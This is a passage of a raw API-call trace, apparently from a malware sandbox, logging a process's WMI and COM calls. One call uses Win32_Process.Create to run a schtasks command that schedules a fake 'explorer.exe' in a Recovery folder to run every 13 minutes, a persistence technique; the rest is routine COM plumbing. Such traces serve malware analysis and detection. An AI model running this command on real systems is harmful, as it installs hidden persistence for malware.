[0137.000] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc407c0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0137.000] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc40700, uIndex=0x0, pszName="root") returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc407c0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc407c0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0137.000] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc40700, uIndex=0x1, pszName="cimv2") returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc407c0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc407c0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc40700, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc40700, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40700, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40700, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40700, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40700, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40700, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0137.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40700, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0137.001] IWbemServices:GetObject (in: This=0x1bc659d0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bc765f0, ppCallResult=0x0) returned 0x0 [0137.004] IWbemClassObject:GetMethod (in: This=0x1bc765f0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc76960, ppOutSignature=0x1bb7e690*=0x1bc76cd0) returned 0x0 [0137.004] IWbemClassObject:SpawnInstance (in: This=0x1bc76960, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa19290) returned 0x0 [0137.004] IWbemClassObject:Get (in: This=0x1aa19290, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b4d0*=0, plFlavor=0x288b4d4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b4d0*=8, plFlavor=0x288b4d4*=32) returned 0x0 [0137.005] IWbemClassObject:Get (in: This=0x1aa19290, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b4d0*=8, plFlavor=0x288b4d4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b4d0*=8, plFlavor=0x288b4d4*=32) returned 0x0 [0137.005] IWbemClassObject:Put (This=0x1aa19290, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 13 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0137.005] IWbemClassObject:Get (in: This=0x1aa19290, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b560*=0, plFlavor=0x288b564*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b560*=13, plFlavor=0x288b564*=32) returned 0x0 [0137.005] IWbemClassObject:Get (in: This=0x1aa19290, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b560*=13, plFlavor=0x288b564*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b560*=13, plFlavor=0x288b564*=32) returned 0x0 [0137.005] IUnknown:QueryInterface (in: This=0x1bc75f10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc75f10) returned 0x0 [0137.005] IUnknown:QueryInterface (in: This=0x1bc75f10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0137.005] IUnknown:QueryInterface (in: This=0x1bc75f10, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0137.005] IUnknown:AddRef (This=0x1bc75f10) returned 0x3 [0137.005] IUnknown:QueryInterface (in: This=0x1bc75f10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0137.005] IUnknown:QueryInterface (in: This=0x1bc75f10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0137.005] IUnknown:QueryInterface (in: This=0x1bc75f10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc75f18) returned 0x0 [0137.005] IMarshal:GetUnmarshalClass (in: This=0x1bc75f18, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0137.006] IUnknown:Release (This=0x1bc75f18) returned 0x3 [0137.006] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0137.006] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0137.006] IUnknown:QueryInterface (in: This=0x1bc75f10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0137.006] IUnknown:Release (This=0x1bc75f10) returned 0x2 [0137.006] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0137.006] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0137.006] IUnknown:QueryInterface (in: This=0x1bc75f10, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0137.006] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0137.006] IUnknown:QueryInterface (in: This=0x1bc75f10, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0137.006] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0137.006] IUnknown:AddRef (This=0x1bc75f10) returned 0x3 [0137.006] IWbemClassObject:Put (This=0x1aa19290, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc75f10, varVal2=0x0), Type=0) returned 0x0 [0137.006] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40400, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0137.006] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0137.006] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0137.006] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0137.006] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0137.006] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.006] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0137.006] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0137.007] IWbemServices:ExecMethod (in: This=0x1bc659d0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa19290, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa19540, ppCallResult=0x0) returned 0x0 [0137.191] IWbemClassObject:Get (in: This=0x1aa19540, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b878*=0, plFlavor=0x288b87c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf5c, varVal2=0x0), pType=0x288b878*=19, plFlavor=0x288b87c*=0) returned 0x0 [0137.191] IWbemClassObject:Get (in: This=0x1aa19540, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b878*=19, plFlavor=0x288b87c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf5c, varVal2=0x0), pType=0x288b878*=19, plFlavor=0x288b87c*=0) returned 0x0 [0137.192] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0137.192] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0137.192] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0137.192] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.194] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc88bb0) returned 0x0 [0137.194] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88bb0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0137.194] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88bb0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc93a30) returned 0x0 [0137.194] WbemDefPath:IUnknown:Release (This=0x1bc88bb0) returned 0x0 [0137.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc93a30) returned 0x0 [0137.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0137.195] WbemDefPath:IUnknown:AddRef (This=0x1bc93a30) returned 0x3 [0137.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0137.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0137.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc88bf0) returned 0x0 [0137.195] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88bf0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.195] WbemDefPath:IUnknown:Release (This=0x1bc88bf0) returned 0x3 [0137.195] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0137.195] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0137.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0137.196] WbemDefPath:IUnknown:Release (This=0x1bc93a30) returned 0x2 [0137.196] WbemDefPath:IUnknown:Release (This=0x1bc93a30) returned 0x1 [0137.196] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0137.196] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0137.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc93a30) returned 0x0 [0137.196] WbemDefPath:IUnknown:AddRef (This=0x1bc93a30) returned 0x3 [0137.196] WbemDefPath:IUnknown:Release (This=0x1bc93a30) returned 0x2 [0137.196] WbemDefPath:IWbemPath:SetText (This=0x1bc93a30, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0137.196] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93a30, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0137.196] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93a30, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0137.196] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93a30, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0137.196] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93a30, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0137.196] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93a30, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0137.196] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93a30, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0137.196] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0137.196] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0137.196] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0137.197] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.198] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc88c30) returned 0x0 [0137.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88c30, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0137.199] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88c30, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc93af0) returned 0x0 [0137.199] WbemDefPath:IUnknown:Release (This=0x1bc88c30) returned 0x0 [0137.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc93af0) returned 0x0 [0137.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0137.199] WbemDefPath:IUnknown:AddRef (This=0x1bc93af0) returned 0x3 [0137.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0137.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0137.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc88c70) returned 0x0 [0137.199] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88c70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.199] WbemDefPath:IUnknown:Release (This=0x1bc88c70) returned 0x3 [0137.199] CoGetContextToken (in: pToken=0x1bb7d060 | out: 